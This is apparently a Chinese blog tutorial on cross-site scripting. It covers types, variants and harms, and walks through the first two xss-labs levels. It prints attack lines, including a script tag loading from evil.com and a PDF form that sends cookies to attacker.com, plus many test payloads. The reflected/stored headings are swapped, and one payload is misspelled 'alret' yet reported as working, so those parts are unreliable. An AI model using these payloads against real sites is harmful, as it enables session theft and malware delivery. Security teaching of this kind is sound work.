XSS漏洞教程!附带xss-labs靶场讲解(持续更新ing~)
本文最后更新于 2025-09-12,文章内容可能已过时,如需更新请留言。部分素材来自网络,若不小心影响到您的利益,请联系我删除。
前言
尽管这已经是一个非常老的漏洞,但我还是决定写一下该漏洞的教程。我会从漏洞的原理入手,说清楚该漏洞的危害,类型和攻击流程和绕过手法。并通过靶场来一场练习,确保各位都能通过本教程掌握该漏洞。
漏洞原理
XSS漏洞又叫CSS(Cross Site Script),跨站脚本攻击,是攻击者将恶意的script代码注入到WEB页面中,在用户访问WEB页面时,用户的浏览器将恶意代码当作正常代码执行,从而窃取用户信息、劫持会话、篡改页面内容等。该漏洞并不直接攻击网站服务器,而是对访问网站的用户进行攻击。
漏洞危害
信息泄漏
劫持 Cookie / SessionToken
一旦拿到管理员 Cookie,就可无密码登录后台,等于拿到了网站“钥匙”。读取页面敏感内容
脚本可以任意访问当前域下的 DOM、内嵌 JSON、隐藏表单、CSRF Token,甚至把页面截图发走。
会话劫持 & 账户 takeover
利用偷来的 Cookie 或本地存储的 JWT,直接伪装成受害者。
如果受害者是管理员,攻击者就能以管理员身份增删改查、上传 Webshell,等于“从用户入口打进服务器”。
恶意操作
后台增删改数据
发公告、删用户、转账、下单、发邮件。配合CSRF
XSS 脚本可自动读取 CSRF Token 后再发伪造请求,让“跨站请求伪造”100% 成功。
网站挂马 & 挖矿
静默注入
<iframe>或<script src="//evil.com/exp.js">,让访问者电脑下载木马。嵌入 CoinHive 之类挖矿脚本,耗尽用户 CPU 挖加密货币。
键盘记录和钓鱼
监听keydown事件,记录账号、密码、支付验证码。
动态生成与原站一模一样的登录弹窗,诱导用户二次输入,实现“页面不跳转”的钓鱼。
内网渗透跳板
浏览器常位于企业内网,脚本可以
扫描内网网段;
对内部路由器、打印机、NAS、Jenkins、GitLab 等未授权接口发请求;
把结果回传给攻击者,把“一个 XSS”变成“整个内网沦陷”。
持续后门
把恶意脚本写入localStorage,每次用户打开站点自动复活。
利用Service Worker注册持久后台脚本,即使用户关闭页面仍能被控制。
分类
XSS漏洞主要分成3大类,分别是反射型,存储型,DOM型。
反射型
特点:恶意脚本被永久保存到服务器(数据库、文件、内存缓存)。
触发时机:任何用户访问“包含该数据”的页面时自动执行。
经典场景:留言板、评论区、商品评价、用户昵称、头像 URL、日志标题、富文本投稿。存储型
特点:脚本随请求“原路反射”——通常藏在 URL 参数、POST 表单、错误信息里;服务器“立即”把它插回响应 HTML,不做存储。
触发时机:必须诱导用户点击构造好的链接(钓鱼邮件、社交工程)。
经典场景:搜索框 “您搜索的 xxx 不存在”、404 页面把路径直接输出、跳转页?url=javascript:alert(1)DOM型
特点:服务器完全没参与;前端 JavaScript 把用户可控数据(location、hash、referrer、input.value)通过innerHTML、document.write()、eval()等 API 写进页面,导致脚本执行。
触发时机:访问带攻击片段的 URL 即可,不经过后端。
经典场景:单页应用路由/#/user/<img src=x onerror=alert(1)>、前端根据location.hash动态生成页面标题
除了这3种大类以外,还有一些XSS的变体,它们大多仍归在“反射/存储/DOM”三大母体之下,只是载体或触发特殊,所以社区习惯给它们单独起名字。
Flash XSS
载体:.swf(Flash 影片)
原理:AS 脚本通过ExternalInterface.call()直接调用页面 JS,或接受 URL 参数后写入htmlText未过滤。
PS:Flash 已退役,但内网/老旧 OA 仍偶有残留。PDF XSS
载体:内嵌 JavaScript 的.pdf文件
原理:PDF 标准支持app.alert()、this.submitForm()等 JS;当浏览器原生插件或 Acrobat 直接 在线预览 时,脚本在同源 DOM 下执行。
PS:必须是“浏览器内置 PDF 阅读器”渲染才继承 origin;若下载后打开则无效。SWF -> HTML反射
载体:.swf(Flash 影片)
原理:利用 JSONP 回调 + UTF-7/BOF 构造 纯 ASCII 的 .swf,迫使服务器以Content-Type: application/x-shockwave-flash返回,从而在同域下执行任意 AS → JS。SVG XSS
载体:.svg图片
原理:SVG 本质是 XML,可内嵌<script>、<foreignObject>、HTML 实体。
变种:
反射:<img src="data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+">。
存储:把 SVG 当头像,评论里插入<img>标签。Mutated XSS
原理:浏览器自动纠错 / 解析差异。
案例:先提交<svg><s><script>alert(1)</script></s></svg>,后端过滤后成<svg><script>...,但浏览器修复标签时突然“复活”成可执行脚本。Universal XSS
原理:浏览器或插件漏洞导致 本应隔离的源之间也能执行脚本。Self-XSS -> Reflected Self-XSS
Self:只能骗受害者自己把代码粘进控制台;
Reflected:把 “控制台提示” 页面做成反射 URL,诱导用户复制-粘贴,形成“看似自伤,实则远程”。Clickjacking + XSS 组合
原理:用透明 iframe 诱骗用户点击,实则执行被“点击劫持”的富文本按钮(例如论坛“插入图片”),完成存储型 XSS 注入。
PS:严格说不算独立 XSS 类型,但常被归类为“UI 层利用链”。UTF-7 / BOM / 字符集 XSS
原理:页面无<meta charset>,浏览器回退到 UTF-7,把+ADw-script+AD4-解析成<script>。HTTP Response Splitting → XSS
原理:老旧 ASP/JSP 允许换行符进 header,把%0D%0A注入响应头,提前结束头域并写入<script>体。Open Redirect → XSS
原理:某些浏览器会把跳转后的javascript:协议页面算作同源,通过?returnUrl=javascript:alert(1)就可以进行注入PDF + Open Redirect 组合
步骤:
构造 PDF 内含this.submitForm({ cURL: 'https://attacker.com/steal?c=' + document.cookie, cSubmitAs: 'HTML' })。
上传直链 → 用户在线预览 → 表单自动提交把 Cookie 带走到攻击者域。CSS Injection → XSS
原理:旧版 IE 支持behavior:url(xss.htc)、-moz-binding:url(xss.xml),可把 CSS 变脚本。
PS:现代浏览器已废弃。Tabnabbing
原理:恶意页面把外链<a target="_blank">的窗口改成钓鱼登录页,再利用window.opener改写原页面 DOM,完成“先跳走再回来”的 XSS 注入。File-Upload XSS(任何文件只要被当作 HTML 解析)
原理:服务端返回的Content-Type只要有一次误标成text/html,就能执行脚本。
包括:
上传.html、.htm被直链访问;
上传.svg、.xml、.json(Content-Type: text/html);
上传.md、.csv却被服务器渲染成 HTML。
以上的XSS大多已经很难遇到了,不用太在意,真的遇到了再去了解也无妨。
攻击流程
攻击者找到注入点:如评论框、搜索框、URL参数等
注入恶意脚本:输入
<script>alert(1)</script>或其他可执行代码。网站未过滤或转义:服务器直接将用户输入嵌入 HTML 页面。
其他用户访问网站:浏览器执行恶意脚本。
脚本执行攻击行为:如偷 Cookie、伪造请求、跳转到钓鱼网站等。
靶场练习
靶场可以自行搭建,也可以通过在线靶场练习。我这里的在线靶场是借助渊龙sec安全团队搭建的在线靶场,感谢他们为网络安全行业的辛苦付出。
level 1
一进靶场可以发现url中存在test,web页面中也有一个test,那么这两者之间是否有关系呢?



不光有联系,还能被我们控制,并且被html解析了,那就意味着此处可能存在xss漏洞,使用最简单的payload进行测试

Payload:<script>alert(1)</script> 或<script>alert("abc")</script>
如果alert里是字符串,那么就要加"或',如果是纯数字,就不用。
成功,非常简单!下一关
level 2

仔细观察发现test明显是能控制的,不过这回显示的是value="test" 。那么想办法给它闭合掉就行。先写一个"闭合value的第一个引号,再写一个> 闭合input,然后把弹窗加进来。那么完整的payload就是:"><script>alret(1)</script> 。

轻轻松松,过关!